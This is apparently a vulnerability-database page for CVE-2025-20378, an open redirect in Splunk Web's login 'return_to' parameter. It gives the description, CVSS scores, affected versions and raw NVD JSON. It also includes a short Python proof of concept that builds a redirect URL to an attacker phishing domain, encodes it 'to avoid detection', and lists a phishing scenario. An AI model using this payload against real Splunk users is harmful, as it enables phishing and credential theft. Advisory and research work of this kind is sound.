Security Vulnerability Report
中文
CVE-2025-20378 CVSS 3.1 LOW

CVE-2025-20378

Published: 2025-11-12 18:15:35
Last Modified: 2025-12-03 21:43:31

Description

In Splunk Enterprise versions below 10.0.1, 9.4.5, 9.3.7, 9.2.9, and Splunk Cloud Platform versions below 10.0.2503.5, 9.3.2411.111, and 9.3.2408.121, an unauthenticated attacker could craft a malicious URL using the `return_to` parameter of the Splunk Web login endpoint. When an authenticated user visits the malicious URL, it could cause an unvalidated redirect to an external malicious site. To be successful, the attacker has to trick the victim into initiating a request from their browser. The unauthenticated attacker should not be able to exploit the vulnerability at will.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:splunk:splunk:10.0.0:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:splunk:splunk_cloud_platform:*:*:*:*:*:*:*:* - VULNERABLE
Splunk Enterprise < 10.0.1
Splunk Enterprise < 9.4.5
Splunk Enterprise < 9.3.7
Splunk Enterprise < 9.2.9
Splunk Cloud Platform < 10.0.2503.5
Splunk Cloud Platform < 9.3.2411.111
Splunk Cloud Platform < 9.3.2408.121

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import urllib.parse # CVE-2025-20378 PoC - Splunk Open Redirect # Target: Splunk Enterprise < 10.0.1, 9.4.5, 9.3.7, 9.2.9 # Target: Splunk Cloud Platform < 10.0.2503.5, 9.3.2411.111, 9.3.2408.121 def generate_malicious_url(target_url, malicious_domain): """ Generate malicious URL for open redirect exploitation Args: target_url: Target Splunk instance URL malicious_domain: Attacker's controlled domain for redirect Returns: Malicious URL string """ # Encode the malicious domain to avoid detection encoded_redirect = urllib.parse.quote(malicious_domain, safe='') # Construct the malicious URL with return_to parameter malicious_url = f"{target_url}/en-US/account/login?return_to={encoded_redirect}" return malicious_url # Example usage if __name__ == "__main__": target = "https://victim-splunk.example.com" attacker_domain = "https://malicious-phishing-site.com" poc_url = generate_malicious_url(target, attacker_domain) print(f"Malicious URL: {poc_url}") print(f"\nAttack Scenario:") print(f"1. Attacker crafts malicious URL with return_to parameter") print(f"2. Attacker tricks authenticated Splunk user into clicking the link") print(f"3. User visits the malicious URL") print(f"4. After login, user is redirected to attacker's site: {attacker_domain}") print(f"5. Attacker can perform phishing attacks or serve malicious content")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20378", "sourceIdentifier": "[email protected]", "published": "2025-11-12T18:15:34.847", "lastModified": "2025-12-03T21:43:31.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Splunk Enterprise versions below 10.0.1, 9.4.5, 9.3.7, 9.2.9, and Splunk Cloud Platform versions below 10.0.2503.5, 9.3.2411.111, and 9.3.2408.121, an unauthenticated attacker could craft a malicious URL using the `return_to` parameter of the Splunk Web login endpoint. When an authenticated user visits the malicious URL, it could cause an unvalidated redirect to an external malicious site. To be successful, the attacker has to trick the victim into initiating a request from their browser. The unauthenticated attacker should not be able to exploit the vulnerability at will."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.9", "matchCriteriaId": "FE00218E-F8B2-42DA-9E4E-D7A00B657B93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "9.3.0", "versionEndExcluding": "9.3.7", "matchCriteriaId": "C6257ADA-AB6E-4679-A41B-BCE79CE8D573"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "9.4.0", "versionEndExcluding": "9.4.5", "matchCriteriaId": "30970DF3-6DA7-4FAB-B234-3226F47F9C87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk:10.0.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "259A3F4B-E4D2-48BC-9AE9-C37DE94987D5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_cloud_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.2408", "versionEndExcluding": "9.3.2408.121", "matchCriteriaId": "97D8397F-D372-4481-901A-0BC282B09DD7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_cloud_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.2411", "versionEndExcluding": "9.3.2411.111", "matchCriteriaId": "F134529C-FFD7-4B2F-AE4C-6DEA847F4714"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_cloud_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.2503", "versionEndExcluding": "10.0.2503.5", "matchCriteriaId": "E82D5593-83EE-4B20-ABDD-937AD94D6DB1"}]}]}], "references": [{"url": "https://advisory.splunk.com/advisories/SVD-2025-1101", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}